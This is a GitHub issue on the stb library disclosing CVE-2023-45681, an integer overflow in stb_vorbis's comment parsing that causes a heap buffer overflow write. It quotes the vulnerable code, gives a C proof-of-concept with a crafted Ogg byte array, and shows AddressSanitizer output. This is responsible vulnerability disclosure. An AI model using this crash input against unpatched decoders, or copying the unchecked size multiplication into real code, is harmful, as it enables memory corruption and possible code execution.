nothings / stb

stb single-file public domain libraries for C/C++
https://twitter.com/nothings
Other
26.57k stars 7.69k forks source link

Out of bounds heap buffer write (`GHSL-2023-171/CVE-2023-45681`) #1559

Closed JarLob closed 3 months ago

JarLob commented 11 months ago

A crafted file may trigger memory write past an allocated heap buffer in start_decoder at [1]. The root cause is a potential integer overflow sizeof(char*) * (f->comment_list_length) at [2] which may make setup_malloc allocate less memory than required. Since there is another integer overflow at [1] attacker may overflow it too to force setup_malloc to return 0 and make the exploit more reliable.

   f->comment_list_length = get32_packet(f);
   f->comment_list = NULL;
   if (f->comment_list_length > 0)
   {
      f->comment_list = (char**) setup_malloc(f, sizeof(char*) * (f->comment_list_length)); // [2] Int overflow
      if (f->comment_list == NULL)                  return error(f, VORBIS_outofmem);
   }

   for(i=0; i < f->comment_list_length; ++i) {
      len = get32_packet(f);
      f->comment_list[i] = (char*)setup_malloc(f, sizeof(char) * (len+1)); // [1] OOB
      if (f->comment_list[i] == NULL)               return error(f, VORBIS_outofmem);

      for(j=0; j < len; ++j) {
         f->comment_list[i][j] = get8_packet(f);
      }
      f->comment_list[i][len] = (char)'\0';
   }

Similar potential vulnerability exists in other setup_malloc use cases as:

Impact

This issue may lead to code execution.

Resources

To reproduce the issue:

  1. Make ASAN build of the following program:
#include "../stb_vorbis.c"
#include <stdint.h>

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x4f,0x67,0x67,0x53,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
                            0xb6,0xe4,0xb5,0x67,0x00,0x00,0x00,0x00,0x3b,0x21,0x03,0x0f,0x01,0x1e,
                            0x01,0x76,0x6f,0x72,0x62,0x69,0x73,0x00,0x00,0x00,0x00,0x01,0x44,0xac,
                            0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x38,0x01,0x00,0x00,0x00,0x00,0x00,
                            0xb8,0x01,0x4f,0x67,0x67,0x53,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
                            0x00,0x00,0xb6,0xe4,0xb5,0x67,0x01,0x00,0x00,0x00,0x83,0xb5,0x32,0x7b,
                            0x0e,0x63,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
                            0x81,0x03,0x76,0x6f,0x72,0x62,0x69,0x73,0x2b,0x00,0x00,0x00,0x58,0x69,
                            0x70,0x68,0x2e,0x4f,0x72,0x67,0x20,0x6c,0x69,0x62,0x56,0x6f,0x72,0x62,
                            0x69,0x73,0x20,0x73,0xbe,0x61,0x97,0xcc,0x7c,0x55,0x7e,0xc6,0x03,0x1a,
                            0x85,0x7f,0x3d,0x39,0x3f,0x7f,0x8b,0xa9,0x41,0x21,0x11,0x14,0xf7,0x01,
                            0x00,0x00,0x20,0x00,0x00,0x00,0x00};
    size_t size = sizeof(data);

    int chan, samplerate;
    short *output;
    int samples = stb_vorbis_decode_memory(data, size, &chan, &samplerate, &output);
    if (samples >= 0)
        free(output);
    return 0;
}
  1. Run the program to hit the error.
==359215==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000018 at pc 0x0000004e45b7 bp 0x7ffcdb4f8df0 sp 0x7ffcdb4f8de8
WRITE of size 8 at 0x602000000018 thread T0
    #0 0x4e45b6 in start_decoder(stb_vorbis*) tests/../stb_vorbis.c:3670:26
    #1 0x4f9444 in stb_vorbis_open_memory tests/../stb_vorbis.c:5112:8
    #2 0x4fbfb1 in stb_vorbis_decode_memory tests/../stb_vorbis.c:5390:20